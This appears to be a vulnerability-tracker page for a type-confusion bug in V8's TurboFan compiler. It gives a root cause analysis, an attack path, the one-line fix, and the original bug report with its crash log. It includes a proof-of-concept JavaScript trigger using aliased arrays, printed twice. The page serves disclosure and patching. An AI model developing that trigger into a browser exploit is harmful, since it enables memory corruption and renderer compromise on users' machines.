Overview

High
Severity
8.8
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactType Confusion in V8
DescriptionType Confusion in V8
ComponentV8
Sub-componentTurbofan
Bug ClassType Confusion
Action tierpatch-now — corruption primitive, web-reachable in default config (confirmed) — upheld by independent review by AI
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Independent review by AIConfirmed
Reviewer notes: none: diff sets kUnreliableMaps after TransitionElementsKindOrCheckMap with an explicit receiver/object aliasing comment; regression test shows an aliased array losing HOLEY_DOUBLE_ELEMENTS. 'Skipped a map check' downstream is inferred, not shown in the diff.
A second, independent AI reviewer (not a human) re-derived this analysis from the fixing commit and the vendor advisory, looking for errors.
Tracker400052777
Fix commit8b490a9690b8 (v8/v8) +34/-0
CWECWE-843 (Type confusion)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
CreditedZhenghang Xiao (@Kipreyyy) and Nan Wang (@eternalsakura13)
Reported2025-03-02 (per vendor advisory)
Fix landed2025-03-04 (public git)
Disclosed2025-03-10
Patch gap6 days — fix public in source before the advisory

Background

`TurboFan`
V8’s optimizing compiler, which specializes code based on inferred object shapes (maps).
Map
the hidden-class descriptor that fixes an object’s layout and ElementsKind, and which TurboFan relies on to elide runtime checks.
`NodeProperties::InferMapsUnsafe`
a TurboFan helper that walks the effect chain to determine the possible maps of a node, returning kReliableMaps or kUnreliableMaps to signal whether later checks can be dropped.
`TransitionElementsKindOrCheckMap`
an effect node that transitions an object’s ElementsKind (e.g. PACKED_SMI → HOLEY_DOUBLE_ELEMENTS), thereby mutating that object’s map.

Root Cause Analysis

When NodeProperties::InferMapsUnsafe in src/compiler/node-properties.cc walked back over an IrOpcode::kTransitionElementsKindOrCheckMap effect, it treated the maps of the receiver under analysis as still reliable. The problem is that the transition operates on its object input, which may alias the receiver whose maps are being inferred; if they alias, the transition changes the receiver’s map, invalidating any previously observed map. Because the function still reported kReliableMaps, downstream TurboFan code assumed the stale, pre-transition map held and skipped a map check, producing type confusion.

The fix sets result = kUnreliableMaps for the TransitionElementsKindOrCheckMap case so callers know the inferred maps cannot be trusted and must re-check, closing the invariant gap.

Key insight
The single mistake was assuming a TransitionElementsKindOrCheckMap could not affect the receiver’s inferred maps while ignoring that its object operand can alias that receiver; marking the result kUnreliableMaps forces a fresh map check instead of trusting the outdated inference.

Attack Path

  1. Set up aliasing arrays Craft a function that reads v3[0] and v2[0] so TurboFan inserts two TransitionElementsKindOrCheckMap nodes, then arrange for v2 and v3 to be the same array at optimized-call time.
  2. Trigger the first transition Reading v3[0] transitions the shared array to HOLEY_DOUBLE_ELEMENTS, which InferMapsUnsafe records as a reliable map for the receiver.
  3. Mutate the aliasing map The second access on v2 (aliasing v3) issues a transition that changes the shared array’s map, but the compiler still believes the earlier HOLEY_DOUBLE_ELEMENTS map is reliable.
  4. Consume the stale map A later operation (e.g. Array.prototype.indexOf.call(v3)) is compiled to trust the wrong ElementsKind, reinterpreting the backing store under the wrong type.
  5. Achieve type confusion The mismatch between the assumed and actual element representation yields an out-of-bounds or type-confused view of memory that an attacker can leverage.

Impact Assessment

An attacker who lands a crafted script in the renderer gains a type confusion primitive inside the V8 engine, letting the same-shape assumption be violated to read or write memory as the wrong type. This runs in the renderer process and requires only that the victim execute attacker-controlled JavaScript that is optimized by TurboFan, with no special privileges beyond page execution. Such a primitive is a strong stepping stone toward memory corruption and renderer compromise.

Files Changed

  • src/compiler/node-properties.cc
  • test/mjsunit/compiler/regress-400052777.js

Audit Directions

  • Aliasing effect nodes
    Review every case in NodeProperties::InferMapsUnsafe and related map-inference walks for effect operations whose operand may alias the analyzed receiver and silently mutate its map.
  • Map-mutating transitions
    Audit other ElementsKind/map transition opcodes to confirm each downgrades inferred maps to kUnreliableMaps rather than assuming the pre-transition map survives.
  • Reliable-map assumptions
    Look for TurboFan optimizations that drop map or ElementsKind checks based on a kReliableMaps result and verify no intervening aliasing write can invalidate that reliability.
From 8b490a9690b859346a68a3d2a7008b4e1852c3ea Mon Sep 17 00:00:00 2001
From: Marja Hölttä <marja@chromium.org>
Date: Tue, 04 Mar 2025 14:32:21 +0100
Subject: [PATCH] [turbofan] Fix TransitionElementsKindOrCheckMap

Take into account that TransitionElementsKindOrCheckMap might change the
map of an aliasing object.

h/t dmercadier@ for figuring out the fix.

Bug: 400052777
Change-Id: I07ac56058591619736dcc2d8f7355a7a34ecbbc7
Fixed: 400052777
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/6321930
Reviewed-by: Darius Mercadier <dmercadier@chromium.org>
Commit-Queue: Marja Hölttä <marja@chromium.org>
Cr-Commit-Position: refs/heads/main@{#99049}
---

diff --git a/src/compiler/node-properties.cc b/src/compiler/node-properties.cc
index b5c27ee..6e2ef92 100644
--- a/src/compiler/node-properties.cc
+++ b/src/compiler/node-properties.cc
@@ -458,6 +458,9 @@
               ElementsTransitionWithMultipleSourcesOf(effect->op()).target()};
           return result;
         }
+        // `receiver` and `object` might alias, so
+        // TransitionElementsKindOrCheckMaps might change receiver's map.
+        result = kUnreliableMaps;
         break;
       }
       case IrOpcode::kJSCreate: {
diff --git a/test/mjsunit/compiler/regress-400052777.js b/test/mjsunit/compiler/regress-400052777.js
new file mode 100644
index 0000000..198462d
--- /dev/null
+++ b/test/mjsunit/compiler/regress-400052777.js
@@ -0,0 +1,31 @@
+// Copyright 2025 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --turbofan --no-always-turbofan
+
+function main() {
+  function f0(v2, v3) {
+    // TransitionElementsKindOrCheckMap: PACKED_SMI -> HOLEY_DOUBLE_ELEMENTS
+    var v4 = v3[0];
+
+    // TransitionElementsKindOrCheckMap: HOLEY_DOUBLE_ELEMENTS -> HOLEY_ELEMENTS
+    var v5 = v2[0];
+
+    // If v2 == v3, v3 doesn't have HOLEY_DOUBLE_ELEMENTS anymore.
+    Array.prototype.indexOf.call(v3);
+  }
+  %PrepareFunctionForOptimization(f0);
+
+  const holey = new Array(1);
+  holey[0] = 'tagged'; // HOLEY_ELEMENTS
+  f0(holey, [1]);
+
+  const holey_double = new Array(1);
+  holey_double[0] = 0.1; // HOLEY_DOUBLE_ELEMENTS
+
+  %OptimizeFunctionOnNextCall(f0);
+  f0(holey_double, holey_double);
+}
+main();
+main();
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/compiler/regress-400052777.js b/test/mjsunit/compiler/regress-400052777.js
new file mode 100644
index 0000000..198462d
--- /dev/null
+++ b/test/mjsunit/compiler/regress-400052777.js
@@ -0,0 +1,31 @@
+// Copyright 2025 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --turbofan --no-always-turbofan
+
+function main() {
+  function f0(v2, v3) {
+    // TransitionElementsKindOrCheckMap: PACKED_SMI -> HOLEY_DOUBLE_ELEMENTS
+    var v4 = v3[0];
+
+    // TransitionElementsKindOrCheckMap: HOLEY_DOUBLE_ELEMENTS -> HOLEY_ELEMENTS
+    var v5 = v2[0];
+
+    // If v2 == v3, v3 doesn't have HOLEY_DOUBLE_ELEMENTS anymore.
+    Array.prototype.indexOf.call(v3);
+  }
+  %PrepareFunctionForOptimization(f0);
+
+  const holey = new Array(1);
+  holey[0] = 'tagged'; // HOLEY_ELEMENTS
+  f0(holey, [1]);
+
+  const holey_double = new Array(1);
+  holey_double[0] = 0.1; // HOLEY_DOUBLE_ELEMENTS
+
+  %OptimizeFunctionOnNextCall(f0);
+  f0(holey_double, holey_double);
+}
+main();
+main();
Loading diff…

Original Bug Report

reported by ki...@gmail.com

Signal SIGTRAP in v8

VULNERABILITY DETAILS

INTRODUCE

After bisect, it was determined that following commit caused this problem.

commit b8d3f7d0cf6461b59ec41379e49534eb7bebc210
Author: Marja Hölttä <marja@chromium.org>
Date:   Mon Nov 25 15:13:39 2024 +0100

    [turbofan] Reduce the amount of map loads during elements kind transitions
    
    Adopt the "TransitionElementsKindOrCheckMap" concept from Maglev. It
    allows us to do only one map load instead of one map load per transition.
    
    Change-Id: I1d9ea645fd5359bf72cf70c79e714676c73c6233
    Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/6035112
    Commit-Queue: Marja Hölttä <marja@chromium.org>
    Reviewed-by: Darius Mercadier <dmercadier@chromium.org>
    Cr-Commit-Position: refs/heads/main@{#97378}

CRASH LOG

  • Debug output
# CMD: /tmp/d8-linux-debug-v8-component-99019/d8 --allow-natives-syntax poc.js
# OUTPUT ==============================================================


#
# Fatal error in ../../src/objects/object-type.cc, line 82
# Type cast failed in CAST(elements) at ../../src/builtins/builtins-array-gen.cc:1353
  Expected FixedDoubleArray but found 0x32ae00288a31: [FixedArray]
 - map: 0x32ae00000565 <Map(FIXED_ARRAY_TYPE)>
 - length: 1
           0: 0x32ae00288a3d <HeapNumber 0.1>

#
#
#
#FailureMessage Object: 0x7ffeb2544cf0
==== C stack trace ===============================

    /tmp/d8-linux-debug-v8-component-99019/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x13) [0x7f22bca27373]
    /tmp/d8-linux-debug-v8-component-99019/libv8_libplatform.so(+0x1b1bd) [0x7f22bc9d21bd]
    /tmp/d8-linux-debug-v8-component-99019/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x194) [0x7f22bca0a8a4]
    /tmp/d8-linux-debug-v8-component-99019/libv8.so(v8::internal::CheckObjectType(unsigned long, unsigned long, unsigned long)+0x3be1) [0x7f22ba40c441]
    /tmp/d8-linux-debug-v8-component-99019/libv8.so(+0x20410b5) [0x7f22b88410b5]

Other

Please note to include the flags --allow-natives-syntax for clusterfuzz classification.

VERSION Tested on v8 version: 13.3.0 - 13.5.0

REPRODUCTION CASE

  1. Download debug v8 from: gs://v8-asan/linux-debug/d8-linux-debug-v8-component-99019.zip
  2. Run: d8 --allow-natives-syntax poc.js

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION Type of crash: tab

CREDIT INFORMATION Reporter credit: Zhenghang Xiao (@Kipreyyy) and Nan Wang (@eternalsakura13)

View on issue tracker